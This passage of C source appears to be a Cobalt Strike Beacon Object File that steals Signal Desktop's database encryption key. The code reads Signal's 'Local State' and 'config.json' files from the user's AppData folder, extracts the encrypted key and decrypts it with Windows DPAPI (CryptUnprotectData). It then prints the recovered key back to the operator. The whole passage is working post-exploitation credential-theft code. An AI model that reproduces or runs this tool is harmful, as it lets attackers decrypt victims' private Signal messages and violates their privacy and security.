(in_len * 3) / 4; 98 | uint8_t* decoded_data = (uint8_t*)intAlloc(decoded_size); 99 | 100 | *out_len = 0; 101 | while (in_len-- && (encoded_string[in_] != '=') && isBase64(encoded_string[in_])) { 102 | char_array_4[i++] = encoded_string[in_]; in_++; 103 | if (i == 4) { 104 | for (i = 0; i < 4; i++) char_array_4[i] = MSVCRT$strchr(BASE64_CHARS, char_array_4[i]) - BASE64_CHARS; 105 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 106 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 107 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 108 | 109 | for (i = 0; i < 3; i++) decoded_data[(*out_len)++] = char_array_3[i]; 110 | i = 0; 111 | } 112 | } 113 | 114 | if (i) { 115 | for (j = i; j < 4; j++) char_array_4[j] = 0; 116 | for (j = 0; j < 4; j++) char_array_4[j] = MSVCRT$strchr(BASE64_CHARS, char_array_4[j]) - BASE64_CHARS; 117 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 118 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 119 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 120 | 121 | for (j = 0; j < i - 1; j++) decoded_data[(*out_len)++] = char_array_3[j]; 122 | } 123 | return decoded_data; 124 | } 125 | 126 | 127 | DWORD SignalKeyDecryption(const char* encoded_data, long decode_size) 128 | { 129 | DWORD dwErrorCode = ERROR_SUCCESS; 130 | unsigned char* decoded_data = NULL; 131 | char* encoded = NULL; 132 | DATA_BLOB DataOut = { 0 }; 133 | DATA_BLOB DataVerify = { 0 }; 134 | LPWSTR pDescrOut = NULL; 135 | 136 | decoded_data = Base64Decode(encoded_data, (size_t*)&decode_size); 137 | if (decoded_data == NULL) 138 | { 139 | dwErrorCode = ERROR_DS_DECODING_ERROR; 140 | BeaconPrintf(CALLBACK_ERROR,"base64_decode failed\n"); 141 | goto chromeKey_end; 142 | } 143 | 144 | if (decode_size < 5) 145 | { 146 | dwErrorCode = ERROR_DS_DECODING_ERROR; 147 | BeaconPrintf(CALLBACK_ERROR, "base64_decode failed\n"); 148 | goto chromeKey_end; 149 | } 150 | 151 | if (decoded_data[0] != 'D' && decoded_data[1] != 'P') 152 | { 153 | dwErrorCode = ERROR_DS_DECODING_ERROR; 154 | BeaconPrintf(CALLBACK_ERROR,"base64_decode failed\n"); 155 | goto chromeKey_end; 156 | } 157 | DataOut.pbData = decoded_data + 5; 158 | DataOut.cbData = decode_size - 5; 159 | 160 | if (!CryptUnprotectData(&DataOut,&pDescrOut,NULL,NULL,NULL,0,&DataVerify)) 161 | { 162 | dwErrorCode = ERROR_DECRYPTION_FAILED; 163 | BeaconPrintf(CALLBACK_ERROR,"CryptUnprotectData failed\n"); 164 | goto chromeKey_end; 165 | } 166 | 167 | 168 | encoded = base64_encode(DataVerify.pbData, DataVerify.cbData); 169 | if (encoded == NULL) 170 | { 171 | dwErrorCode = ERROR_DS_ENCODING_ERROR; 172 | BeaconPrintf(CALLBACK_ERROR,"base64_encode failed\n"); 173 | goto chromeKey_end; 174 | } 175 | 176 | BeaconPrintf(CALLBACK_OUTPUT,"Decrypted encryption key as: %s\n", encoded); 177 | 178 | chromeKey_end: 179 | 180 | if (encoded) 181 | { 182 | intFree(encoded); 183 | encoded = NULL; 184 | } 185 | 186 | if (decoded_data) 187 | { 188 | intFree(decoded_data); 189 | decoded_data = NULL; 190 | } 191 | 192 | if (DataVerify.pbData) 193 | { 194 | LocalFree(DataVerify.pbData); 195 | DataVerify.pbData = NULL; 196 | } 197 | 198 | return dwErrorCode; 199 | } 200 | 201 | DWORD RetrieveConfigKeyString(LPCWSTR signalPath) { 202 | DWORD dwErrorCode = ERROR_SUCCESS; 203 | HANDLE fp = NULL; 204 | DWORD filesize = 0; 205 | DWORD read = 0, totalread = 0; 206 | BYTE* filedata = 0, * key = 0; 207 | char* start = NULL; 208 | char* end = NULL; 209 | DWORD keylen = 0; 210 | 211 | 212 | fp = CreateFileW(signalPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 213 | if (fp == INVALID_HANDLE_VALUE) 214 | { 215 | dwErrorCode = GetLastError(); 216 | BeaconPrintf(CALLBACK_ERROR, "CreateFileW failed %lX\n", dwErrorCode); 217 | goto findKeyBlob_end; 218 | } 219 | filesize = GetFileSize(fp, NULL); 220 | if (filesize == INVALID_FILE_SIZE) 221 | { 222 | dwErrorCode = GetLastError(); 223 | BeaconPrintf(CALLBACK_ERROR, "GetFileSize failed %lX\n", dwErrorCode); 224 | goto findKeyBlob_end; 225 | } 226 | 227 | filedata = (BYTE*)intAlloc(filesize); 228 | if (NULL == filedata) 229 | { 230 | dwErrorCode = ERROR_OUTOFMEMORY; 231 | BeaconPrintf(CALLBACK_ERROR, "intAlloc failed %lX\n", dwErrorCode); 232 | goto findKeyBlob_end; 233 | } 234 | while (totalread != filesize) 235 | { 236 | if (!ReadFile(fp, filedata + totalread, filesize - totalread, &read, NULL)) 237 | { 238 | dwErrorCode = GetLastError(); 239 | BeaconPrintf(CALLBACK_ERROR, "ReadFile failed %lX\n", dwErrorCode); 240 | goto findKeyBlob_end; 241 | } 242 | totalread += read; 243 | read = 0; 244 | } 245 | 246 | //now we need to find our key 247 | start = StrStrA((char*)filedata, "encryptedKey"); 248 | if (start == NULL) 249 | { 250 | dwErrorCode = ERROR_BAD_FILE_TYPE; 251 | BeaconPrintf(CALLBACK_ERROR, "StrStrA failed %lX\n", dwErrorCode); 252 | goto findKeyBlob_end; 253 | } 254 | start += 16; //gets us to start of base64 string; 255 | 256 | end = StrStrA(start, "\"\n"); 257 | if (end == NULL) 258 | { 259 | dwErrorCode = ERROR_BAD_FILE_TYPE; 260 | BeaconPrintf(CALLBACK_ERROR, "StrStrA failed %lX\n", dwErrorCode); 261 | goto findKeyBlob_end; 262 | } 263 | keylen = end - start; 264 | 265 | key = (BYTE*)intAlloc(keylen + 1); 266 | if (key == NULL) 267 | { 268 | dwErrorCode = ERROR_OUTOFMEMORY; 269 | BeaconPrintf(CALLBACK_ERROR, "intAlloc failed %lX\n", dwErrorCode); 270 | goto findKeyBlob_end; 271 | } 272 | 273 | memcpy(key, start, keylen); 274 | 275 | BeaconPrintf(CALLBACK_OUTPUT, "Base64 config key for %S =\n%s\n", signalPath, key); 276 | 277 | 278 | findKeyBlob_end: 279 | 280 | if (filedata) 281 | { 282 | intFree(filedata); 283 | filedata = NULL; 284 | } 285 | 286 | if (key) 287 | { 288 | intFree(key); 289 | key = NULL; 290 | } 291 | 292 | if ((fp != NULL) && (fp != INVALID_HANDLE_VALUE)) 293 | { 294 | CloseHandle(fp); 295 | fp = NULL; 296 | } 297 | 298 | return dwErrorCode; 299 | } 300 | 301 | DWORD RetrieveKeyBlob(LPCWSTR signalPath) { 302 | DWORD dwErrorCode = ERROR_SUCCESS; 303 | HANDLE fp = NULL; 304 | DWORD filesize = 0; 305 | DWORD read = 0, totalread = 0; 306 | BYTE* filedata = 0, * key = 0; 307 | char* start = NULL; 308 | char* end = NULL; 309 | DWORD keylen = 0; 310 | 311 | 312 | fp = CreateFileW(signalPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 313 | if (fp == INVALID_HANDLE_VALUE) 314 | { 315 | dwErrorCode = GetLastError(); 316 | BeaconPrintf(CALLBACK_ERROR,"CreateFileW failed %lX\n", dwErrorCode); 317 | goto findKeyBlob_end; 318 | } 319 | filesize = GetFileSize(fp, NULL); 320 | if (filesize == INVALID_FILE_SIZE) 321 | { 322 | dwErrorCode = GetLastError(); 323 | BeaconPrintf(CALLBACK_ERROR,"GetFileSize failed %lX\n", dwErrorCode); 324 | goto findKeyBlob_end; 325 | } 326 | 327 | filedata = (BYTE*)intAlloc(filesize); 328 | if (NULL == filedata) 329 | { 330 | dwErrorCode = ERROR_OUTOFMEMORY; 331 | BeaconPrintf(CALLBACK_ERROR,"intAlloc failed %lX\n", dwErrorCode); 332 | goto findKeyBlob_end; 333 | } 334 | while (totalread != filesize) 335 | { 336 | if (!ReadFile(fp, filedata + totalread, filesize - totalread, &read, NULL)) 337 | { 338 | dwErrorCode = GetLastError(); 339 | BeaconPrintf(CALLBACK_ERROR,"ReadFile failed %lX\n", dwErrorCode); 340 | goto findKeyBlob_end; 341 | } 342 | totalread += read; 343 | read = 0; 344 | } 345 | 346 | //now we need to find our key 347 | start = StrStrA((char*)filedata, "encrypted_key"); 348 | if (start == NULL) 349 | { 350 | dwErrorCode = ERROR_BAD_FILE_TYPE; 351 | BeaconPrintf(CALLBACK_ERROR,"StrStrA failed %lX\n", dwErrorCode); 352 | goto findKeyBlob_end; 353 | } 354 | start += 16; //gets us to start of base64 string; 355 | 356 | end = StrStrA(start, "\"}"); 357 | if (end == NULL) 358 | { 359 | dwErrorCode = ERROR_BAD_FILE_TYPE; 360 | BeaconPrintf(CALLBACK_ERROR,"StrStrA failed %lX\n", dwErrorCode); 361 | goto findKeyBlob_end; 362 | } 363 | keylen = end - start; 364 | 365 | key = (BYTE*)intAlloc(keylen + 1); 366 | if (key == NULL) 367 | { 368 | dwErrorCode = ERROR_OUTOFMEMORY; 369 | BeaconPrintf(CALLBACK_ERROR,"intAlloc failed %lX\n", dwErrorCode); 370 | goto findKeyBlob_end; 371 | } 372 | 373 | memcpy(key, start, keylen); 374 | 375 | dwErrorCode = SignalKeyDecryption((char*)key, keylen); 376 | if (ERROR_SUCCESS != dwErrorCode) 377 | { 378 | BeaconPrintf(CALLBACK_ERROR, "SignalKeyDecryption Function failed %lX\n", dwErrorCode); 379 | goto findKeyBlob_end; 380 | } 381 | 382 | 383 | findKeyBlob_end: 384 | 385 | if (filedata) 386 | { 387 | intFree(filedata); 388 | filedata = NULL; 389 | } 390 | 391 | if (key) 392 | { 393 | intFree(key); 394 | key = NULL; 395 | } 396 | 397 | if ((fp != NULL) && (fp != INVALID_HANDLE_VALUE)) 398 | { 399 | CloseHandle(fp); 400 | fp = NULL; 401 | } 402 | 403 | return dwErrorCode; 404 | } 405 | 406 | DWORD RetrieveSignalKey() { 407 | DWORD dwErrorCode = ERROR_SUCCESS; 408 | wchar_t appdata[MAX_PATH] = { 0 }; 409 | wchar_t signal[MAX_PATH] = { 0 }; 410 | 411 | if (0 == ExpandEnvironmentStringsW(L"%APPDATA%", appdata, MAX_PATH)) 412 | { 413 | dwErrorCode = GetLastError(); 414 | goto retrievesignalkey_end; 415 | } 416 | if (NULL == PathCombineW(signal, appdata, L"Signal\\Local State")) 417 | { 418 | dwErrorCode = ERROR_BAD_PATHNAME; 419 | goto retrievesignalkey_end; 420 | } 421 | if (PathFileExistsW(signal)) 422 | { 423 | dwErrorCode = RetrieveKeyBlob(signal); 424 | if (ERROR_SUCCESS != dwErrorCode) 425 | { 426 | BeaconPrintf(CALLBACK_ERROR, "Retrieving Key from file failed %lX\n", dwErrorCode); 427 | //goto findKeyFiles_end; 428 | } 429 | } 430 | else 431 | { 432 | BeaconPrintf(CALLBACK_ERROR, "Could not find Signal's local state file\n"); 433 | } 434 | retrievesignalkey_end: 435 | return dwErrorCode; 436 | } 437 | 438 | DWORD RetrieveConfigKey() { 439 | DWORD dwErrorCode = ERROR_SUCCESS; 440 | wchar_t appdata[MAX_PATH] = { 0 }; 441 | wchar_t signal[MAX_PATH] = { 0 }; 442 | 443 | if (0 == ExpandEnvironmentStringsW(L"%APPDATA%", appdata, MAX_PATH)) 444 | { 445 | dwErrorCode = GetLastError(); 446 | goto retrieveconfigkey_end; 447 | } 448 | if (NULL == PathCombineW(signal, appdata, L"Signal\\config.json")) 449 | { 450 | dwErrorCode = ERROR_BAD_PATHNAME; 451 | goto retrieveconfigkey_end; 452 | } 453 | if (PathFileExistsW(signal)) 454 | { 455 | dwErrorCode = RetrieveConfigKeyString(signal); 456 | if (ERROR_SUCCESS != dwErrorCode) 457 | { 458 | BeaconPrintf(CALLBACK_ERROR, "Retrieving Key from file failed %lX\n", dwErrorCode); 459 | //goto findKeyFiles_end; 460 | } 461 | } 462 | else 463 | { 464 | BeaconPrintf(CALLBACK_ERROR, "Could not find Signal's local state file\n"); 465 | } 466 | retrieveconfigkey_end: 467 | return dwErrorCode; 468 | } 469 | 470 | void go() { 471 | DWORD dwErrorCode = ERROR_SUCCESS; 472 | dwErrorCode = RetrieveSignalKey(); 473 | if (ERROR_SUCCESS != dwErrorCode) 474 | { 475 | BeaconPrintf(CALLBACK_ERROR, "RetrieveSignalKey failed: %lX\n", dwErrorCode); 476 | } 477 | dwErrorCode = RetrieveConfigKey(); 478 | if (ERROR_SUCCESS != dwErrorCode) 479 | { 480 | BeaconPrintf(CALLBACK_ERROR, "RetrieveConfigKey failed: %lX\n", dwErrorCode); 481 | } 482 | 483 | } --------------------------------------------------------------------------------